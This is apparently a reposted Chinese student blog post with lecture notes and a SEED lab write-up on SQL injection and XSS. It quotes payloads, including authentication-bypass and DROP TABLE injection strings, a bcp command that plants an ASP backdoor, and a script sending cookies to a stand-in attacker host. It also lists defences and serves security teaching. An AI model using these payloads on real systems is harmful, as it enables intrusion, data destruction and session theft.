web應用程序安全攻防---sql注入和xss跨站腳本攻擊



kali視頻學習請看

http://www.cnblogs.com/lidong20179210/p/8909569.html


博文主要內容包括兩種常見的web攻擊

  • sql注入
  • XSS跨站腳本攻擊

代碼注入攻擊

  • 代碼注入攻擊
  1. Web應用程序的輸入驗證不完善漏洞
  2. 執行由攻擊者所注入的惡意指令和代碼
  3. 敏感信息泄露、權限提升或對系統的未授權訪問
  • 多樣化的代碼注入攻擊類型
  1. SQL注入攻擊:惡意讀取、修改與操縱數據庫;
  2. PHP注入或ASP注入攻擊:植入和運行Webshell
  3. Shell注入攻擊:惡意執行操作系統命令的;
  4. 其他多樣化注入攻擊: LDAP注入、郵件命令注入、 SSI

SQL注入攻擊 (SQL Injection)

  • SQL注入攻擊對Web應用程序的威脅,相當大部分Web應用程序使用后台數據庫,動態產生內容

  • SQL注入攻擊:利用Web應用程序數據層存在的輸入驗證不完善型安全漏洞實施的一類代碼注入攻擊技術。

  • SQL注入漏洞機制

  1. 用戶輸入沒有被正確地過濾:轉義字符(引號、反引號、雙下划線、分號、 百分號)
  2. 沒有進行嚴格類型檢查:未判斷輸入是否預定類型

SQL注入攻擊案例解析

inputusername = request.form("username")
inputpasswd = request.form("passwd")
set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;"
set rso = server.CreateObject("ADODB.RecordSet")
sql = "SELECT * FROM accounts WHERE username ='" & inputusername
& "' AND passwd = '" & inputpasswd & "'"
rso.Open sql, cn
if rso.eof then
response.write("login error: username or passwd incorrect")
else
response.write("login success")
end if
正常情況
  • 用戶名: guojing;口令: 123456
  • 正常SQL: SELECT * from FROM accounts WHERE
    username ='guojing' AND passwd = '123456'
攻擊方法一
  • 用戶名/口令:
huangrong' OR '1'='1
  • 注入SQL結果:
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1'
AND passwd = 'huangrong' OR '1'='1'
  • 等價於: SELECT * from FROM accounts

  • 后果:繞過了login.asp用戶身份認證的正常邏輯,獲得訪問

攻擊方法二
  • 口令框輸入:
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
  • 注入SQL結果:
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts;
SELECT * FROM admin WHERE 't' = 't'

實際SQL注入攻擊步驟

1. 發現SQL注入點

注入點存在於形如http://SITE/xxx.asp?some_rec=yyy的動態網頁

  • 手工審查
  • Google Hacking

注入點驗證

  • 整數型參數:
    • “yyy'” (加單引號) : SQL錯誤
    • “yyy and 1=1” :正常頁面
    • “yyy and 1=2” :空白頁面
  • 字符串參數
    • “yyy'” (加單引號) : SQL錯誤
    • “yyy' and '1'='1” : 正常頁面
    • “yyy' and '1'='2” : 空白頁面
2. 判斷后台數據庫類型
  • Web應用程序流行的后台數據庫
    • ASP: MS SQL Server/ACCESS
    • PHP: MySQL
  • 利用數據庫服務器的系統變量進行判斷
  • 利用數據庫服務器的系統表進行判斷
    • ACCESS: msysobjects
    • MS SQL Server: sysobjects
    • MySQL: mysql
    • http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
3. 利用SQL注入進行后台口令拆解
4. 上傳ASP后門,得到默認賬戶權限
  • 后台管理界面

    • 利用提供的上傳/下載文件等功能上傳ASP后門
  • Web服務器軟件的默認賬戶權限

    • 本地受限賬戶命令執行
    • Web虛擬目錄中文件上傳/下載
  • 利用MS SQL Server的BCP命令

    • bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
5. 本地特權提升與利用數據庫擴展存儲過程
  • 進一步本地權限提升
    • 利用系統或某些特權應用服務(如Serv-U)安全漏洞
    • 利用系統配置不當提升系統權限
  • MS SQL Server等DBMS支持擴展存儲過程
    • xp_cmdshell, 需要sa帳戶權限
  • 通過SQL注入點執行相應的擴展存儲過程

SQL注入攻擊防范措施

  • 使用類型安全(type-safe)的參數編碼機制
  • 凡是來自外部的用戶輸入,必須進行完備檢查
    • “限制、拒絕、凈化”
    • URLScan過濾器:丟棄符合給定規則的輸入
    • PHP v5.2.0: filter_input()與filter_var()
  • 將動態SQL語句替換為存儲過程、預編譯SQL或ADO
    命令對象
  • 加強SQL數據庫服務器的配置與連接
    • 避免將敏感性數據(如口令)明文存放於數據庫中
    • 最小權限原則配置Web應用程序連接數據庫的查詢操作權限
    • 實現一個不泄漏任何有價值信息的默認出錯處理機制

實踐

SEED Ubuntu鏡像

  • 環境配置

  • 實驗需要三樣東西,

    • Firefox、apache、phpBB2(鏡像中已有):
    • ①運行Apache Server:鏡像已經安裝,只需運行命令%sudo service apache2 start
    • ②phpBB2 web應用:鏡像已經安裝,通過http://www.sqllabmysqlphpbb.com訪問,應用程序源代碼位於/var/www/SQL/SQLLabMysqlPhpbb/
    • ③配置DNS:上述的URL僅僅在鏡像內部可以訪問,原因是我們修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com指向本機IP 127.0.0.1。如果需要在其他機器訪問,應該修改hosts文件,使URL映射到phpBB2所在機器的IP。
  • 關閉對抗措施PHP提供了自動對抗SQL注入的機制,被稱為magic quote,我們需要關閉它。

    • 1.找到/etc/php5/apache2/php.ini
    • 2.找到magic_quotes_gpc = On這一行
    • 3.改為magic_quotes_gpc = Off

- 4.重啟Apache:sudo service apache2 restart

  • Note for Instructors最好擁有一些背景知識
    • 1.使用虛擬機,Firefox的插件LiveHttpHeaders和Tamper Data
    • 2.對SQL語句的一些了解
    • 3.如何操作MySQL數據庫
    • 4.對PHP一些了解

實驗過程及結果

對SELECT語句的攻擊

此次任務,你需要通過訪問虛擬機內的URL:www.sqllabmysqlphpbb.com。在進入phpBB之前系統會要求你登陸。這個登陸認證由服務器上的login.php實現,需要用戶輸入用戶名和密碼來通過認證。

去網上尋找了答案,答案的是在用戶名輸入ted'#,密碼空着就行,ted是一個已經存在的用戶名,用單引號結束這個字符串,用#轉義掉后面的語句。

對UPDATE語句的攻擊

  • 當用戶想要在phpBB2中修改他們的資料時,可以點擊Profile,然后填寫表單修改。

用戶發送修改請求后,會執行include/usercp_register.php中的一條UPDATE SQL語句。在這條語句中同樣有一個SQL注入漏洞,請用它來達到以下目標:在不知道其他人密碼的情況下修改其資料。

  • 提交后發現SQL語句的結構,根據分析語句結構,分析出注入漏洞在

  • 查看Memberlist表單,發現id號

  • 通過此漏洞即可通過更改id號更改信息,此處我們修改admin的信息

修改成功。

跨站腳本攻擊(XSS: Cross-Site Scripting)

什么是跨站腳本? (Wikipedia)

  • 跨站腳本是一種通常存在於Web應用程序中的安全
    漏洞,使得攻擊者可以將惡意的代碼注入到網頁中,
    從而危害其他Web訪問者。
    • 客戶端腳本: Javascript, Flash ActionScript
  • 與代碼注入攻擊的比較
    • 相似的漏洞根源: Web應用程序沒有對非預期輸入做全面有效檢查和凈化.
    • 不同的最終攻擊目標
      • 代碼注入: Web站點
      • XSS:訪問Web應用程序的其他用戶

典型跨站腳本攻擊

- 查看用戶終端會話Cookie
   - <script>alert(document.cookie)</script>
   - 會話ID、甚至登錄口令等敏感信息
- 竊取Cookie
   - 攻擊者控制網站: steal_cookie_example.com
   - <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script>
- 網頁掛馬
  - <iframe src="http://target_link" height=0 width=0></iframe>
  - <script src = "http://target_link"></script>

跨站腳本攻擊類型

  • 持久性XSS: Persistent/stored
    • 漏洞形式: Web應用程序允許用戶輸入內容並持久保存並顯示在網頁上.
    • 攻擊方式: 攻擊者通過利用跨站漏洞構建惡意腳本,對大量用戶構成危害.
    • 典型案例: 留言本/論壇/博客/wiki等。
  • 非持久性XSS: Non-Persistent/reflected
    • 用戶輸入產生XSS反饋給該用戶,需結合社會工程學進行攻擊
    • DOM-based: 本地XSS, 如JS本地生成HTML頁面中存在

XSS跨站腳本攻擊防范措施

  • 服務器端防范措施-“限制、拒絕、凈化”
    • 輸入驗證: 對用戶提交數據進行盡可能嚴格的驗證與過濾
    • 輸出凈化: HTMLEncode()方法
    • 消除危險的輸入點
  • 客戶端防范措施
    • 提高瀏覽器訪問非受信網站時的安全等級
    • 關閉Cookie功能,或設置Cookie只讀(IE6SP1 HTTPonly cookie)
    • 安全意識和瀏覽習慣->主流瀏覽器Chrome,Safari, Opera
實例

XSS實驗相對SQL簡單一些,答案也全,上兩個結果截圖。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM